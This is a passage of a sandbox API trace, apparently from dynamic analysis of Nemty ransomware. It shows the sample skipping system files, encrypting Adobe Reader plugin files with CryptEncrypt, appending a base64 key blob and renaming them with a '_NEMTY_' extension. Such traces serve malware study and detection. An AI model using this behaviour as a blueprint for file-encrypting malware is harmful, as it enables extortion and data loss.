(lpString1="Mcimpp.KOR", lpString2="windows") returned -1 [0191.119] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="$RECYCLE.BIN") returned 1 [0191.119] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="rsa") returned -1 [0191.119] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="NTDETECT.COM") returned -1 [0191.119] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="ntldr") returned -1 [0191.119] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="MSDOS.SYS") returned -1 [0191.120] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="IO.SYS") returned 1 [0191.120] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="boot.ini") returned 1 [0191.120] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="boot.ini") returned 1 [0191.120] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0191.120] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="ntuser.dat") returned -1 [0191.120] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="desktop.ini") returned 1 [0191.120] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="CONFIG.SYS") returned 1 [0191.120] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="RECYCLER") returned -1 [0191.120] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="BOOTSECT.BAK") returned 1 [0191.120] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="bootmgr") returned 1 [0191.120] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="programdata") returned -1 [0191.120] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="appdata") returned 1 [0191.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.KOR", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.KOR", lpUsedDefaultChar=0x0) returned 10 [0191.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.KOR", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.KOR", lpUsedDefaultChar=0x0) returned 10 [0191.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.KOR", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.KOR", lpUsedDefaultChar=0x0) returned 10 [0191.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.KOR", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.KOR", lpUsedDefaultChar=0x0) returned 10 [0191.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.120] Sleep (dwMilliseconds=0x5) [0191.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25919330, dwHighDateTime=0x1d561e8)) [0191.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25919330, dwHighDateTime=0x1d561e8)) [0191.129] GetLastError () returned 0x0 [0191.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.129] GetLastError () returned 0x0 [0191.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.129] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.129] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.130] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.130] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="o/zNVL+qBC4epeT5pWQLzF2sp/NRWSH3lGzdYlhVnQKyQ00MGB2o8QTfQpDpabDm\r\nHuRQpUbyambsyR7DV0dIdIerSGdZva5fzr4fTKlnLfR4VKghQ/PAW9GK4AmdDE71\r\nga9u8CXidxgrq2+o33p5spSC6zveR2eAU1DJxQLmmwdCh1lBuB959h5cHmQpw3ta\r\neVweeIvp8HYY8lT6vdjNevK9osb1+pV9b1qHXNPRVAbt0Bvti83sKSLp91yHJuAE\r\naIth/h9rHToIvaICGCLIurfPqonhuK/J82aGYhdPaB/eWkW1iP997uiqup0ghe4F\r\ndjHRlf5HT2EH+N8Fnlaxeg==\r\n", pcchString=0x653e29c) returned 1 [0191.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.130] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.130] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=7168) returned 1 [0191.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c00) returned 0x6352c48 [0191.130] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.130] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x1c00, lpOverlapped=0x0) returned 1 [0191.132] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.132] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x1c00, lpOverlapped=0x0) returned 1 [0191.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.132] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=7168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c00 [0191.132] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.132] CloseHandle (hObject=0x2f0) returned 1 [0191.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.133] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.kor._nemty_kgobjgd_")) returned 1 [0191.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.134] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="MCIMPP.mpp", cAlternateFileName="")) returned 1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2=".") returned 1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="..") returned 1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="...") returned 1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="windows") returned -1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="$RECYCLE.BIN") returned 1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="rsa") returned -1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="NTDETECT.COM") returned -1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="ntldr") returned -1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="MSDOS.SYS") returned -1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="IO.SYS") returned 1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="boot.ini") returned 1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="boot.ini") returned 1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="AUTOEXEC.BAT") returned 1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="ntuser.dat") returned -1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="desktop.ini") returned 1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="CONFIG.SYS") returned 1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="RECYCLER") returned -1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="BOOTSECT.BAK") returned 1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="bootmgr") returned 1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="programdata") returned -1 [0191.134] lstrcmpiW (lpString1="MCIMPP.mpp", lpString2="appdata") returned 1 [0191.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.mpp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.mpp", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.mpp", lpUsedDefaultChar=0x0) returned 10 [0191.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.mpp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.mpp", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.mpp", lpUsedDefaultChar=0x0) returned 10 [0191.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.mpp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.mpp", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.mpp", lpUsedDefaultChar=0x0) returned 10 [0191.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.mpp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.mpp", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.mpp", lpUsedDefaultChar=0x0) returned 10 [0191.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.135] Sleep (dwMilliseconds=0x5) [0191.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2593f490, dwHighDateTime=0x1d561e8)) [0191.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2593f490, dwHighDateTime=0x1d561e8)) [0191.145] GetLastError () returned 0x0 [0191.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.145] GetLastError () returned 0x0 [0191.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.145] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.145] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.145] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.145] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="RngNGLZ2PV++Drn26F4QUxjpmU6g07AjeNiZcvmkOQTESDjpO6F6Ac0cuzK6FWaI\r\ndnumpxTb6wJ6XITr7Z8s8sIiUkUxViiGQhx3gR5+hItEKY/3lU1HOrJt7P7XGF40\r\naBLs8K9usUtj+lSDhjmeRX5OuNk7+3KDp0IVm1C7wJOmMdzzqehpePBbD+coBWwW\r\nplXRUEluqDM51Rsfir7UCFFqDaCPKzdRovZ7V1XwQsKI6tmVBXvWZjXjaPVV3rpL\r\nwTO9TwHPxzlcMx0pOqCa0BN097oyUj44oQFYuEF06lnjglFG5w55OB7ml3TMdVUJ\r\nN16A28WbT7i2+9t+FT33VQ==\r\n", pcchString=0x653e29c) returned 1 [0191.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.145] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.mpp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.146] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=93696) returned 1 [0191.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x16e00) returned 0x6352c48 [0191.146] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.146] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x16e00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x16e00, lpOverlapped=0x0) returned 1 [0191.153] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.153] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x16e00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x16e00, lpOverlapped=0x0) returned 1 [0191.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.154] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=93696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16e00 [0191.154] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.154] CloseHandle (hObject=0x2f0) returned 1 [0191.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.154] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.mpp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.mpp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.mpp._nemty_kgobjgd_")) returned 1 [0191.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: 